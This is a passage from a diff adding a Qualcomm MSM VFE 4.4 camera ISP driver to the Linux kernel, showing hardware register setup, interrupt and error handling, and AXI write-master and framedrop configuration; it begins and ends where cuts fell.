request_irq(vfe_dev->vfe_irq->start, msm_isp_process_irq, + IRQF_TRIGGER_RISING, "vfe", vfe_dev); + if (rc < 0) { + pr_err("%s: irq request failed\n", __func__); + goto irq_req_failed; + } + return rc; +irq_req_failed: + iounmap(vfe_dev->vfe_vbif_base); +vbif_remap_failed: + iounmap(vfe_dev->vfe_base); +vfe_remap_failed: + msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, + vfe_dev->vfe_clk, vfe_dev->num_clk, 0); +clk_enable_failed: + regulator_disable(vfe_dev->fs_vfe); +fs_failed: + msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); +bus_scale_register_failed: + return rc; +} + +static void msm_vfe44_release_hardware(struct vfe_device *vfe_dev) +{ + free_irq(vfe_dev->vfe_irq->start, vfe_dev); + tasklet_kill(&vfe_dev->vfe_tasklet); + iounmap(vfe_dev->vfe_vbif_base); + iounmap(vfe_dev->vfe_base); + msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, + vfe_dev->vfe_clk, vfe_dev->num_clk, 0); + regulator_disable(vfe_dev->fs_vfe); + msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); +} + +static void msm_vfe44_init_hardware_reg(struct vfe_device *vfe_dev) +{ + msm_vfe44_init_qos_parms(vfe_dev); + msm_vfe44_init_vbif_parms(vfe_dev); + /* CGC_OVERRIDE */ + msm_camera_io_w(0xFBFFFFFF, vfe_dev->vfe_base + 0x14); + msm_camera_io_w(0xC001FF7F, vfe_dev->vfe_base + 0x974); + /* BUS_CFG */ + msm_camera_io_w(0x10000001, vfe_dev->vfe_base + 0x50); + msm_camera_io_w(0xE00000F3, vfe_dev->vfe_base + 0x28); + msm_camera_io_w_mb(0xFFFFFFFF, vfe_dev->vfe_base + 0x2C); + msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x30); + msm_camera_io_w_mb(0xFFFFFFFF, vfe_dev->vfe_base + 0x34); +} + +static void msm_vfe44_process_reset_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1) +{ + if (irq_status0 & (1 << 31)) + complete(&vfe_dev->reset_complete); +} + +static void msm_vfe44_process_halt_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1) +{ + if (irq_status1 & (1 << 8)) + complete(&vfe_dev->halt_complete); +} + +static void msm_vfe44_process_camif_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + if (!(irq_status0 & 0xF)) + return; + + if (irq_status0 & (1 << 0)) { + ISP_DBG("%s: SOF IRQ\n", __func__); + if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 + && vfe_dev->axi_data.src_info[VFE_PIX_0]. + pix_stream_count == 0) { + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); + if (vfe_dev->axi_data.stream_update) + msm_isp_axi_stream_update(vfe_dev); + msm_isp_update_framedrop_reg(vfe_dev); + } + } + if (irq_status0 & (1 << 1)) + ISP_DBG("%s: EOF IRQ\n", __func__); + if (irq_status0 & (1 << 2)) + ISP_DBG("%s: EPOCH0 IRQ\n", __func__); + if (irq_status0 & (1 << 3)) + ISP_DBG("%s: EPOCH1 IRQ\n", __func__); +} + +static void msm_vfe44_process_violation_status( + struct vfe_device *vfe_dev) +{ + uint32_t violation_status = vfe_dev->error_info.violation_status; + if (!violation_status) + return; + + if (violation_status == 0) + pr_err("%s: camif violation\n", __func__); + if (violation_status == 1) + pr_err("%s: black violation\n", __func__); + if (violation_status == 2) + pr_err("%s: rolloff violation\n", __func__); + if (violation_status == 3) + pr_err("%s: demux violation\n", __func__); + if (violation_status == 4) + pr_err("%s: demosaic violation\n", __func__); + if (violation_status == 5) + pr_err("%s: wb violation\n", __func__); + if (violation_status == 6) + pr_err("%s: clf violation\n", __func__); + if (violation_status == 7) + pr_err("%s: color correct violation\n", __func__); + if (violation_status == 8) + pr_err("%s: rgb lut violation\n", __func__); + if (violation_status == 9) + pr_err("%s: la violation\n", __func__); + if (violation_status == 10) + pr_err("%s: chroma enhance violation\n", __func__); + if (violation_status == 11) + pr_err("%s: chroma supress mce violation\n", __func__); + if (violation_status == 12) + pr_err("%s: skin enhance violation\n", __func__); + if (violation_status == 13) + pr_err("%s: color tranform enc violation\n", __func__); + if (violation_status == 14) + pr_err("%s: color tranform view violation\n", __func__); + if (violation_status == 15) + pr_err("%s: scale enc y violation\n", __func__); + if (violation_status == 16) + pr_err("%s: scale enc cbcr violation\n", __func__); + if (violation_status == 17) + pr_err("%s: scale view y violation\n", __func__); + if (violation_status == 18) + pr_err("%s: scale view cbcr violation\n", __func__); + if (violation_status == 21) + pr_err("%s: crop enc y violation\n", __func__); + if (violation_status == 22) + pr_err("%s: crop enc cbcr violation\n", __func__); + if (violation_status == 23) + pr_err("%s: crop view y violation\n", __func__); + if (violation_status == 24) + pr_err("%s: crop view cbcr violation\n", __func__); + if (violation_status == 25) + pr_err("%s: realign buf y violation\n", __func__); + if (violation_status == 26) + pr_err("%s: realign buf cb violation\n", __func__); + if (violation_status == 27) + pr_err("%s: realign buf cr violation\n", __func__); + if (violation_status == 28) + pr_err("%s: ltm violation\n", __func__); + if (violation_status == 29) + pr_err("%s: ltm cov violation\n", __func__); + if (violation_status == 30) + pr_err("%s: abf violation\n", __func__); + if (violation_status == 31) + pr_err("%s: bpc violation\n", __func__); +} + +static void msm_vfe44_process_error_status(struct vfe_device *vfe_dev) +{ + uint32_t error_status1 = vfe_dev->error_info.error_mask1; + if (error_status1 & (1 << 0)) + pr_err("%s: camif error status: 0x%x\n", + __func__, vfe_dev->error_info.camif_status); + if (error_status1 & (1 << 1)) + pr_err("%s: stats bhist overwrite\n", __func__); + if (error_status1 & (1 << 2)) + pr_err("%s: stats cs overwrite\n", __func__); + if (error_status1 & (1 << 3)) + pr_err("%s: stats ihist overwrite\n", __func__); + if (error_status1 & (1 << 4)) + pr_err("%s: realign buf y overflow\n", __func__); + if (error_status1 & (1 << 5)) + pr_err("%s: realign buf cb overflow\n", __func__); + if (error_status1 & (1 << 6)) + pr_err("%s: realign buf cr overflow\n", __func__); + if (error_status1 & (1 << 7)) { + pr_err("%s: violation\n", __func__); + msm_vfe44_process_violation_status(vfe_dev); + } + if (error_status1 & (1 << 9)) + pr_err("%s: image master 0 bus overflow\n", __func__); + if (error_status1 & (1 << 10)) + pr_err("%s: image master 1 bus overflow\n", __func__); + if (error_status1 & (1 << 11)) + pr_err("%s: image master 2 bus overflow\n", __func__); + if (error_status1 & (1 << 12)) + pr_err("%s: image master 3 bus overflow\n", __func__); + if (error_status1 & (1 << 13)) + pr_err("%s: image master 4 bus overflow\n", __func__); + if (error_status1 & (1 << 14)) + pr_err("%s: image master 5 bus overflow\n", __func__); + if (error_status1 & (1 << 15)) + pr_err("%s: image master 6 bus overflow\n", __func__); + if (error_status1 & (1 << 16)) + pr_err("%s: status be bus overflow\n", __func__); + if (error_status1 & (1 << 17)) + pr_err("%s: status bg bus overflow\n", __func__); + if (error_status1 & (1 << 18)) + pr_err("%s: status bf bus overflow\n", __func__); + if (error_status1 & (1 << 19)) + pr_err("%s: status awb bus overflow\n", __func__); + if (error_status1 & (1 << 20)) + pr_err("%s: status rs bus overflow\n", __func__); + if (error_status1 & (1 << 21)) + pr_err("%s: status cs bus overflow\n", __func__); + if (error_status1 & (1 << 22)) + pr_err("%s: status ihist bus overflow\n", __func__); + if (error_status1 & (1 << 23)) + pr_err("%s: status skin bhist bus overflow\n", __func__); + if (error_status1 & (1 << 24)) + pr_err("%s: status bf scale bus overflow\n", __func__); +} + +static void msm_vfe44_read_irq_status(struct vfe_device *vfe_dev, + uint32_t *irq_status0, uint32_t *irq_status1) +{ + *irq_status0 = msm_camera_io_r(vfe_dev->vfe_base + 0x38); + *irq_status1 = msm_camera_io_r(vfe_dev->vfe_base + 0x3C); + msm_camera_io_w(*irq_status0, vfe_dev->vfe_base + 0x30); + msm_camera_io_w(*irq_status1, vfe_dev->vfe_base + 0x34); + msm_camera_io_w_mb(1, vfe_dev->vfe_base + 0x24); + if (*irq_status0 & 0x10000000) { + pr_err_ratelimited("%s: Protection triggered\n", __func__); + *irq_status0 &= ~(0x10000000); + } + + if (*irq_status1 & (1 << 0)) + vfe_dev->error_info.camif_status = + msm_camera_io_r(vfe_dev->vfe_base + 0x31C); + + if (*irq_status1 & (1 << 7)) + vfe_dev->error_info.violation_status = + msm_camera_io_r(vfe_dev->vfe_base + 0x48); + +} + +static void msm_vfe44_process_reg_update(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + if (!(irq_status0 & 0xF0)) + return; + + if (irq_status0 & BIT(4)) + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); + if (irq_status0 & BIT(5)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); + if (irq_status0 & BIT(6)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); + if (irq_status0 & BIT(7)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); + + if (vfe_dev->axi_data.stream_update) + msm_isp_axi_stream_update(vfe_dev); + if (atomic_read(&vfe_dev->stats_data.stats_update)) + msm_isp_stats_stream_update(vfe_dev); + if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) + msm_isp_axi_cfg_update(vfe_dev); + msm_isp_update_framedrop_reg(vfe_dev); + msm_isp_update_error_frame_count(vfe_dev); + + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); +} + +static void msm_vfe44_reg_update(struct vfe_device *vfe_dev) +{ + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x378); +} + +static uint32_t msm_vfe44_reset_values[ISP_RST_MAX] = +{ + 0x1FF, /* ISP_RST_HARD reset everything */ + 0x1EF /* ISP_RST_SOFT all modules without registers */ +}; + +static long msm_vfe44_reset_hardware(struct vfe_device *vfe_dev, + enum msm_isp_reset_type reset_type, uint32_t blocking) +{ + uint32_t rst_val; + long rc = 0; + if (reset_type >= ISP_RST_MAX) { + pr_err("%s: Error Invalid parameter\n", __func__); + reset_type = ISP_RST_HARD; + } + rst_val = msm_vfe44_reset_values[reset_type]; + init_completion(&vfe_dev->reset_complete); + if (blocking) { + msm_camera_io_w_mb(rst_val, vfe_dev->vfe_base + 0xC); + rc = wait_for_completion_interruptible_timeout( + &vfe_dev->reset_complete, msecs_to_jiffies(50)); + } else { + msm_camera_io_w_mb(0x1EF, vfe_dev->vfe_base + 0xC); + } + return rc; +} + +static void msm_vfe44_axi_reload_wm( + struct vfe_device *vfe_dev, uint32_t reload_mask) +{ + msm_camera_io_w_mb(reload_mask, vfe_dev->vfe_base + 0x4C); +} + +static void msm_vfe44_axi_enable_wm(struct vfe_device *vfe_dev, + uint8_t wm_idx, uint8_t enable) +{ + uint32_t val; + val = msm_camera_io_r(vfe_dev->vfe_base + VFE44_WM_BASE(wm_idx)); + if (enable) + val |= 0x1; + else + val &= ~0x1; + msm_camera_io_w_mb(val, + vfe_dev->vfe_base + VFE44_WM_BASE(wm_idx)); +} + +static void msm_vfe44_axi_cfg_comp_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t comp_mask, comp_mask_index = + stream_info->comp_mask_index; + uint32_t irq_mask; + + comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); + comp_mask &= ~(0x7F << (comp_mask_index * 8)); + comp_mask |= (axi_data->composite_info[comp_mask_index]. + stream_composite_mask << (comp_mask_index * 8)); + msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); + + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask |= 1 << (comp_mask_index + 25); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe44_axi_clear_comp_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t comp_mask, comp_mask_index = stream_info->comp_mask_index; + uint32_t irq_mask; + + comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); + comp_mask &= ~(0x7F << (comp_mask_index * 8)); + msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); + + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask &= ~(1 << (comp_mask_index + 25)); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe44_axi_cfg_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask |= 1 << (stream_info->wm[0] + 8); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe44_axi_clear_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask &= ~(1 << (stream_info->wm[0] + 8)); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe44_cfg_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t i, temp; + uint32_t framedrop_pattern = 0, framedrop_period = 0; + + if (stream_info->runtime_init_frame_drop == 0) { + framedrop_pattern = stream_info->framedrop_pattern; + framedrop_period = stream_info->framedrop_period; + } + + if (stream_info->stream_type == BURST_STREAM && + stream_info->runtime_burst_frame_count == 0) { + framedrop_pattern = 0; + framedrop_period = 0; + } + + for (i = 0; i < stream_info->num_planes; i++) { + msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + + VFE44_WM_BASE(stream_info->wm[i]) + 0x1C); + temp = msm_camera_io_r(vfe_dev->vfe_base + + VFE44_WM_BASE(stream_info->wm[i]) + 0xC); + temp &= 0xFFFFFF83; + msm_camera_io_w(temp | framedrop_period << 2, + vfe_dev->vfe_base + VFE44_WM_BASE(stream_info->wm[i]) + 0xC); + } + + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x378); +} + +static void msm_vfe44_clear_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t i; + for (i = 0; i < stream_info->num_planes; i++) + msm_camera_io_w(0, vfe_dev->vfe_base + + VFE44_WM_BASE(stream_info->wm[i]) + 0x1C); +} + +static int32_t msm_vfe44_cfg_io_format(struct vfe_device *vfe_dev, + enum msm_vfe_axi_stream_src stream_src, uint32_t io_format) +{ + int bpp, bpp_reg = 0, pack_reg = 0; + enum msm_isp_pack_fmt pack_fmt = 0; + uint32_t io_format_reg; /*io format register bit*/ + bpp = msm_isp_get_bit_per_pixel(io_format); + if (bpp < 0) { + pr_err("%s:%d invalid io_format %d bpp %d", __func__, __LINE__, + io_format, bpp); + return -EINVAL; + } + + switch (bpp) { + case 8: + bpp_reg = 0; + break; + case 10: + bpp_reg = 1 << 0; + break; + case 12: + bpp_reg = 1 << 1; + break; + default: + pr_err("%s:%d invalid bpp %d", __func__, __LINE__, bpp); + return -EINVAL; + } + + if (stream_src == IDEAL_RAW) { + /*use io_format(v4l2_pix_fmt) to get pack format*/ + pack_fmt = msm_isp_get_pack_format(io_format); + switch (pack_fmt) { + case QCOM: + pack_reg = 0x0; + break; + case MIPI: + pack_reg = 0x1; + break; + case DPCM6: + pack_reg = 0x2; + break; + case DPCM8: + pack_reg = 0x3; + break; + case PLAIN8: + pack_reg = 0x4; + break; + case PLAIN16: + pack_reg = 0x5; + break; + default: + pr_err("%s: invalid pack fmt!\n", __func__); + return -EINVAL; + } + } + + io_format_reg = msm_camera_io_r(vfe_dev->vfe_base + 0x54); + switch (stream_src) { + case PIX_ENCODER: + case PIX_VIEWFINDER: + case CAMIF_RAW: + io_format_reg &= 0xFFFFCFFF; + io_format_reg |= bpp_reg << 12; + break; + case IDEAL_RAW: + io_format_reg &= 0xFFFFFFC8; + io_format_reg |= bpp_reg << 4 | pack_reg; + break; + case RDI_INTF_0: + case RDI_INTF_1: + case RDI_INTF_2: + default: + pr_err("%s: Invalid stream source\n", __func__); + return -EINVAL; + } + msm_camera_io_w(io_format_reg, vfe_dev->vfe_base + 0x54); + return 0; +} + +static void msm_vfe44_cfg_camif(struct vfe_device *vfe_dev, + struct msm_vfe_pix_cfg *pix_cfg) +{ + uint16_t first_pixel, last_pixel, first_line, last_line; + struct msm_vfe_camif_cfg *camif_cfg = &pix_cfg->camif_cfg; + uint32_t val; + + first_pixel = camif_cfg->first_pixel; + last_pixel = camif_cfg->last_pixel; + first_line = camif_cfg->first_line; + last_line = camif_cfg->last_line; + + msm_camera_io_w(pix_cfg->input_mux << 16 | pix_cfg->pixel_pattern, + vfe_dev->vfe_base + 0x1C); + + msm_camera_io_w(camif_cfg->lines_per_frame << 16 | + camif_cfg->pixels_per_line, vfe_dev->vfe_base + 0x300); + + msm_camera_io_w(first_pixel << 16 | last_pixel, + vfe_dev->vfe_base + 0x304); + + msm_camera_io_w(first_line << 16 | last_line, + vfe_dev->vfe_base + 0x308); + + msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x314); + + val = msm_camera_io_r(vfe_dev->vfe_base + 0x2E8); + val |= camif_cfg->camif_input; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x2E8); + + switch (pix_cfg->input_mux) { + case CAMIF: + val = 0x01; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F4); + break; + case TESTGEN: + val = 0x01; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x93C); + break; + case EXTERNAL_READ: + default: + pr_err("%s: not supported input_mux %d\n", + __func__, pix_cfg->input_mux); + break; + } +} + +static void msm_vfe44_update_camif_state(struct vfe_device *vfe_dev, + enum msm_isp_camif_update_state update_state) +{ + uint32_t val; + bool bus_en, vfe_en; + if (update_state == NO_UPDATE) + return; + + val = msm_camera_io_r(vfe_dev->vfe_base + 0x2F8); + if (update_state == ENABLE_CAMIF) { + bus_en = + ((vfe_dev->axi_data. + src_info[VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); + vfe_en = + ((vfe_dev->axi_data. + src_info[VFE_PIX_0].pix_stream_count > 0) ? 1 : 0); + val &= 0xFFFFFF3F; + val = val | bus_en << 7 | vfe_en << 6; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F8); + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2F4); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 1; + } else if (update_state == DISABLE_CAMIF) { + msm_camera_io_w_mb(0x0, vfe_dev->vfe_base + 0x2F4); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; + } else if (update_state == DISABLE_CAMIF_IMMEDIATELY) { + msm_camera_io_w_mb(0x2, vfe_dev->vfe_base + 0x2F4); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; + } +} + +static void msm_vfe44_cfg_rdi_reg( + struct vfe_device *vfe_dev, struct msm_vfe_rdi_cfg *rdi_cfg, + enum msm_vfe_input_src input_src) +{ + uint8_t rdi = input_src - VFE_RAW_0; + uint32_t rdi_reg_cfg; + rdi_reg_cfg = msm_camera_io_r( + vfe_dev->vfe_base + VFE44_RDI_BASE(0)); + rdi_reg_cfg &= ~(BIT(16 + rdi)); + rdi_reg_cfg |= rdi_cfg->frame_based << (16 + rdi); + msm_camera_io_w(rdi_reg_cfg, + vfe_dev->vfe_base + VFE44_RDI_BASE(0)); + + rdi_reg_cfg = msm_camera_io_r( + vfe_dev->vfe_base + VFE44_RDI_BASE(rdi)); + rdi_reg_cfg &= 0x70003; + rdi_reg_cfg |= (rdi * 3) << 28 | rdi_cfg->cid << 4 | 0x4; + msm_camera_io_w( + rdi_reg_cfg, vfe_dev->vfe_base + VFE44_RDI_BASE(rdi)); +} + +static void msm_vfe44_axi_cfg_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, + uint8_t plane_idx) +{ + uint32_t val; + uint32_t wm_base = VFE44_WM_BASE(stream_info->wm[plane_idx]); + + if (!stream_info->frame_based) { + msm_camera_io_w(0x0, vfe_dev->vfe_base + wm_base); + /*WR_IMAGE_SIZE*/ + val = + ((msm_isp_cal_word_per_line( + stream_info->output_format, + stream_info->plane_cfg[plane_idx]. + output_width)+1)/2 - 1) << 16 | + (stream_info->plane_cfg[plane_idx]. + output_height - 1); + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); + + /*WR_BUFFER_CFG*/ + val = (stream_info->plane_cfg[plane_idx].output_height - 1); + val = (((val & 0xfff) << 2) | ((val >> 12) & 0x3)); + val = val << 2 | + msm_isp_cal_word_per_line(stream_info->output_format, + stream_info->plane_cfg[ + plane_idx].output_stride) << 16 | + VFE44_BURST_LEN; + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); + } else { + msm_camera_io_w(0x2, vfe_dev->vfe_base + wm_base); + val = (stream_info->plane_cfg[plane_idx].output_height - 1); + val = (((val & 0xfff) << 2) | ((val >> 12) & 0x3)); + val = val << 2 | + msm_isp_cal_word_per_line(stream_info->output_format, + stream_info->plane_cfg[ + plane_idx].output_width) << 16 | + VFE44_BURST_LEN; + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); + } + + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(0xFFFFFFFF, + vfe_dev->vfe_base + wm_base + 0x20); + /* TD: Add IRQ subsample pattern */ +} + +static void msm_vfe44_axi_clear_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) +{ + uint32_t val = 0; + uint32_t wm_base = VFE44_WM_BASE(stream_info->wm[plane_idx]); + + /*WR_ADDR_CFG*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0xC); + /*WR_IMAGE_SIZE*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); + /*WR_BUFFER_CFG*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x20); +} + +static void msm_vfe44_axi_cfg_wm_xbar_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, + uint8_t plane_idx) +{ + struct msm_vfe_axi_plane_cfg *plane_cfg = + &stream_info->plane_cfg[plane_idx]; + uint8_t wm = stream_info->wm[plane_idx]; + uint32_t xbar_cfg = 0; + uint32_t xbar_reg_cfg = 0; + + switch (stream_info->stream_src) { + case PIX_ENCODER: + case PIX_VIEWFINDER: { + if (plane_cfg->output_plane_format != CRCB_PLANE && + plane_cfg->output_plane_format != CBCR_PLANE) { + /*SINGLE_STREAM_SEL*/ + xbar_cfg |= plane_cfg->output_plane_format << 8; + } else { + switch (stream_info->output_format) { + case V4L2_PIX_FMT_NV12: + case V4L2_PIX_FMT_NV14: + case V4L2_PIX_FMT_NV16: + xbar_cfg |= 0x3 << 4; /*PAIR_STREAM_SWAP_CTRL*/ + break; + } + xbar_cfg |= 0x1 << 1; /*PAIR_STREAM_EN*/ + } + if (stream_info->stream_src == PIX_VIEWFINDER) + xbar_cfg |= 0x1; /*VIEW_STREAM_EN*/ + break; + } + case CAMIF_RAW: + xbar_cfg = 0x300; + break; + case IDEAL_RAW: + xbar_cfg = 0x400; + break; + case RDI_INTF_0: + xbar_cfg = 0x500; + break; + case RDI_INTF_1: + xbar_cfg = 0x600; + break; + case RDI_INTF_2: + xbar_cfg = 0x700; + break; + default: + pr_err("%s: Invalid stream src\n", __func__); + break; + } + xbar_reg_cfg = + msm_camera_io_r(vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); + xbar_reg_cfg &= ~(0xFFFF << VFE44_XBAR_SHIFT(wm)); + xbar_reg_cfg |= (xbar_cfg << VFE44_XBAR_SHIFT(wm)); + msm_camera_io_w(xbar_reg_cfg, + vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); +} + +static void msm_vfe44_axi_clear_wm_xbar_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) +{ + uint8_t wm = stream_info->wm[plane_idx]; + uint32_t xbar_reg_cfg = 0; + + xbar_reg_cfg = + msm_camera_io_r(vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); + xbar_reg_cfg &= ~(0xFFFF << VFE44_XBAR_SHIFT(wm)); + msm_camera_io_w(xbar_reg_cfg, + vfe_dev->vfe_base + VFE44_XBAR_BASE(wm)); +} + +#define MSM_ISP44_TOTAL_WM_UB 1203 + +static void msm_vfe44_cfg_axi_ub_equal_default( + struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = 0; + struct msm_vfe_axi_shared_data *axi_data = + &vfe_dev->axi_data; + uint32_t total_image_size = 0; + uint8_t num_used_wms = 0; + uint32_t prop_size = 0; + uint32_t wm_ub_size; + uint32_t delta; + + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (axi_data->free_wm[i] > 0) { + num_used_wms++; + total_image_size += axi_data->wm_image_size[i]; + } + } + prop_size = MSM_ISP44_TOTAL_WM_UB - + axi_data->hw_info->min_wm_ub * num_used_wms; + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (axi_data->free_wm[i]) { + delta = + (axi_data->wm_image_size[i] * + prop_size)/total_image_size; + wm_ub_size = axi_data->hw_info->min_wm_ub + delta; + msm_camera_io_w(ub_offset << 16 | (wm_ub_size - 1), + vfe_dev->vfe_base + VFE44_WM_BASE(i) + 0x10); + ub_offset += wm_ub_size; + } else + msm_camera_io_w(0, + vfe_dev->vfe_base + VFE44_WM_BASE(i) + 0x10); + } +} + +static void msm_vfe44_cfg_axi_ub_equal_slicing( + struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = 0; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + msm_camera_io_w(ub_offset << 16 | (VFE44_EQUAL_SLICE_UB - 1), + vfe_dev->vfe_base + VFE44_WM_BASE(i) + 0x10); + ub_offset += VFE44_EQUAL_SLICE_UB; + } +} + +static void msm_vfe44_cfg_axi_ub(struct vfe_device *vfe_dev) +{ + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + axi_data->wm_ub_cfg_policy = MSM_WM_UB_CFG_DEFAULT; + if (axi_data->wm_ub_cfg_policy == MSM_WM_UB_EQUAL_SLICING) + msm_vfe44_cfg_axi_ub_equal_slicing(vfe_dev); + else + msm_vfe44_cfg_axi_ub_equal_default(vfe_dev); +} + +static void msm_vfe44_update_ping_pong_addr( + struct vfe_device *vfe_dev, + uint8_t wm_idx, uint32_t pingpong_status, dma_addr_t paddr) +{ + uint32_t paddr32 = (paddr & 0xFFFFFFFF); + msm_camera_io_w(paddr32, vfe_dev->vfe_base + + VFE44_PING_PONG_BASE(wm_idx, pingpong_status)); +} + +static long msm_vfe44_axi_halt(struct vfe_device *vfe_dev, uint32_t blocking) +{ + uint32_t halt_mask; + halt_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x2C); + halt_mask |= (1 << 8); + msm_camera_io_w_mb(halt_mask, vfe_dev->vfe_base + 0x2C); + init_completion(&vfe_dev->halt_complete); + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2C0); + return wait_for_completion_interruptible_timeout( + &vfe_dev->halt_complete, msecs_to_jiffies(500)); +} + +static uint32_t msm_vfe44_get_wm_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 8) & 0x7F; +} + +static uint32_t msm_vfe44_get_comp_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 25) & 0xF; +} + +static uint32_t msm_vfe44_get_pingpong_status( + struct vfe_device *vfe_dev) +{ + return msm_camera_io_r(vfe_dev->vfe_base + 0x268); +} + +static int msm_vfe44_get_stats_idx(enum msm_isp_stats_type stats_type) +{ + switch (stats_type) { + case MSM_ISP_STATS_BE: + return STATS_IDX_BE; + case MSM_ISP_STATS_BG: + return STATS_IDX_BG; + case MSM_ISP_STATS_BF: + return STATS_IDX_BF; + case MSM_ISP_STATS_AWB: + return STATS_IDX_AWB; + case MSM_ISP_STATS_RS: + return STATS_IDX_RS; + case MSM_ISP_STATS_CS: + return STATS_IDX_CS; + case MSM_ISP_STATS_IHIST: + return STATS_IDX_IHIST; + case MSM_ISP_STATS_BHIST: + return STATS_IDX_BHIST; + case MSM_ISP_STATS_BF_SCALE: + return STATS_IDX_BF_SCALE; + default: + pr_err("%s: Invalid stats type\n", __func__); + return -EINVAL; + } +} + +static int msm_vfe44_stats_check_streams( + struct msm_vfe_stats_stream *stream_info) +{ + if (stream_info[STATS_IDX_BF].state == + STATS_AVALIABLE && + stream_info[STATS_IDX_BF_SCALE].state != + STATS_AVALIABLE) { + pr_err("%s: does not support BF_SCALE while BF is disabled\n", + __func__); + return -EINVAL; + } + if (stream_info[STATS_IDX_BF].state != STATS_AVALIABLE && + stream_info[STATS_IDX_BF_SCALE].state != STATS_AVALIABLE && + stream_info[STATS_IDX_BF].composite_flag != + stream_info[STATS_IDX_BF_SCALE].composite_flag) { + pr_err("%s: Different composite flag for BF and BF_SCALE\n", + __func__); + return -EINVAL; + } + return 0; +} + +static void msm_vfe44_stats_cfg_comp_mask( + struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable) +{ + uint32_t reg_mask, comp_stats_mask, 